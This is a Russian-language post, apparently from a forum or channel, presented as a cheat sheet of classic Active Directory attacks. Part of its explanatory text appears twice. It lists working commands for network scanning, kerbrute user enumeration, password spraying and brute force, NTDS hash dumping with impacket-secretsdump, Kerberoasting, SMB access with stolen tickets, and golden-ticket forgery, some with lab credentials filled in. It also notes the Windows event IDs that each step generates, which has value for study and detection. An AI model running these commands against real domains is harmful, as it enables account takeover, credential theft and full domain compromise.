Всех приветствую! Решил разобрать классические атаки AD. Надеюсь данная заметка вам будет полезна.
Сканирование сети с помощью netexec
Сканирование сети с помощью gogo
ссылка на утилиту: https://github.com/chainreactors/gogo/releases
gogo - быстрый сетевой сканер написанный на go. Просто запускаем команду выше и получаем открытые порты.
Сканирование сети с помощью nmap (ping сканирование)
У этого способа есть минус. Если icmp траффик будет ограничен, то вы пропустите активные хосты. Если вы захотите просканировать целую сетку с опцией -sV (чтобы определить какие версии служб запущены), то рекомендуется использовать опцию -n. Это заметно ускорит сканирование, т.к не придется резолвить ip адреса, то есть обращаться к dns серверу.
Опция -Pn полезна, чтобы отключить этап определения доступности порта.
kerbrute: https://github.com/ropnop/kerbrute
Коротко объясню как это работает
Kerbrute отправляет TGT без предварительной аутентификации. Если KDC отвечает "ERR_PRINCIPAL_UNKNOWN", то такого пользователя не существует. Однако, если KDC запрашивает предварительную аутентификацию, мы знаем, что имя пользователя существует, и идем дальше. Это не приводит к ошибкам входа, поэтому не блокирует никакие учетные записи. Это генерирует идентификатор события Windows 4768, если включено ведение журнала Kerberos.
Распыление пароля
ВНИМАНИЕ: это увеличит количество неудачных попыток входа и заблокирует учетные записи. Это сгенерирует оба идентификатора событий 4768 — был запрошен билет аутентификации Kerberos (TGT) и 4771 — предварительная аутентификация Kerberos не удалась
Подбор пароля пользователю
Запускайте его только если вы уверены, что нет политики блокировки! Это сгенерирует оба идентификатора событий 4768 - Запрошен билет аутентификации Kerberos (TGT) и 4771 - Предварительная аутентификация Kerberos не удалась
Классический bruteforce
Этот режим просто считывает комбинации имени пользователя и пароля (в формате username:password) из файла или из stdinи проверяет их с помощью предварительной аутентификации Kerberos. Он пропустит все пустые строки или строки с пустыми именами пользователей/паролями. Это сгенерирует оба идентификатора событий 4768 - был запрошен билет аутентификации Kerberos (TGT) и 4771 - предварительная аутентификация Kerberos не удалась
Примеры использования impacket
Локально(на нашем устройстве) расшифровывем бд ntds -
На Online(на скомпрометированном) -
Запросить TGT -
Получить хэши Kerberos и SPN -
Подключиться к smb шаре используя kerberos -
Подключиться к smb шаре используя NTLM -
Создать золотой билет -
Конвертировать ticket с формата kirbi в ccache -
Сканирование сети с помощью netexec
Code:
netexec wmi 10.111.0.0/24 /
netexec mssql 10.111.0.0/24 /
netexec vnc 10.111.0.0/24 /
netexec ftp 10.111.0.0/24 /
netexec rdp 10.111.0.0/24 /
netexec smb 10.111.0.0/24 /
netexec ssh 10.111.0.0/24 /
netexec ldap 10.111.0.0/24 /
netexec winrm 10.111.0.0/24
nxc ldap DC.WORK19.LOCAL -u GALYAEVA -p 'ZxCvBnM123!' --bloodhound --dns-server 10.119.0.5 -c ALL -k - собрать базу для хаунда используя kerberosСканирование сети с помощью gogo
ссылка на утилиту: https://github.com/chainreactors/gogo/releases
gogo -i 10.111.0.0/24 -p-gogo - быстрый сетевой сканер написанный на go. Просто запускаем команду выше и получаем открытые порты.
Сканирование сети с помощью nmap (ping сканирование)
nmap -sn 10.111.0.0/24 fping -g 10.111.0.0/24 2>/dev/nullУ этого способа есть минус. Если icmp траффик будет ограничен, то вы пропустите активные хосты. Если вы захотите просканировать целую сетку с опцией -sV (чтобы определить какие версии служб запущены), то рекомендуется использовать опцию -n. Это заметно ускорит сканирование, т.к не придется резолвить ip адреса, то есть обращаться к dns серверу.
Сканирование с использованием протоколов TCP или UDP
nmap -sT 10.111.0.0/24nmap -sU 10.111.0.0/24nmap -Pn -p- -sC -sV -oA full_scanОпция -Pn полезна, чтобы отключить этап определения доступности порта.
Перечисление пользователей в домене
kerbrute: https://github.com/ropnop/kerbrute
./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txtКоротко объясню как это работает
Не удалось прогрузить медиа
Kerbrute отправляет TGT без предварительной аутентификации. Если KDC отвечает "ERR_PRINCIPAL_UNKNOWN", то такого пользователя не существует. Однако, если KDC запрашивает предварительную аутентификацию, мы знаем, что имя пользователя существует, и идем дальше. Это не приводит к ошибкам входа, поэтому не блокирует никакие учетные записи. Это генерирует идентификатор события Windows 4768, если включено ведение журнала Kerberos.
Не удалось прогрузить медиа
Распыление пароля
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123ВНИМАНИЕ: это увеличит количество неудачных попыток входа и заблокирует учетные записи. Это сгенерирует оба идентификатора событий 4768 — был запрошен билет аутентификации Kerberos (TGT) и 4771 — предварительная аутентификация Kerberos не удалась
Подбор пароля пользователю
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffmanЗапускайте его только если вы уверены, что нет политики блокировки! Это сгенерирует оба идентификатора событий 4768 - Запрошен билет аутентификации Kerberos (TGT) и 4771 - Предварительная аутентификация Kerberos не удалась
Классический bruteforce
cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -Этот режим просто считывает комбинации имени пользователя и пароля (в формате username:password) из файла или из stdinи проверяет их с помощью предварительной аутентификации Kerberos. Он пропустит все пустые строки или строки с пустыми именами пользователей/паролями. Это сгенерирует оба идентификатора событий 4768 - был запрошен билет аутентификации Kerberos (TGT) и 4771 - предварительная аутентификация Kerberos не удалась
Примеры использования impacket
Локально(на нашем устройстве) расшифровывем бд ntds -
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCALНа Online(на скомпрометированном) -
impacket-secretsdump cdb/domain_admin:[email protected] -dc-ip 10.111.0.10Запросить TGT -
impacket-getTGT 'LAB16.LOCAL/printer:HJUsdf)8v3h4r3w' -dc-ip 10.116.0.20Получить хэши Kerberos и SPN -
KRB5CCNAME=printer.ccache impacket-GetUserSPNs LAB16.LOCAL/printer -dc-ip 10.116.0.20 -dc-host DC.LAB16.LOCAL -request -k -no-passПодключиться к smb шаре используя kerberos -
KRB5CCNAME=kazinets.ccache impacket-smbclient LAB16.LOCAL/[email protected] -k -no-passПодключиться к smb шаре используя NTLM -
impacket-smbclient [email protected]Создать золотой билет -
impacket-ticketer -domain-sid S-1-5-21-1133037953-2906815067-420858314 -domain LAB16.LOCAL -aesKey 2792d0a60a1c37a4b74abf7f601f7b28a2a4fb0092bdbe08df0fb217c7e17c93 -user-id 1874 -groups 580,512,513 'slepenkov'Конвертировать ticket с формата kirbi в ccache -
impacket-ticketConverter adm.kirbi adm.ccache
👍69
❤️11
😁16
💯13
LIMB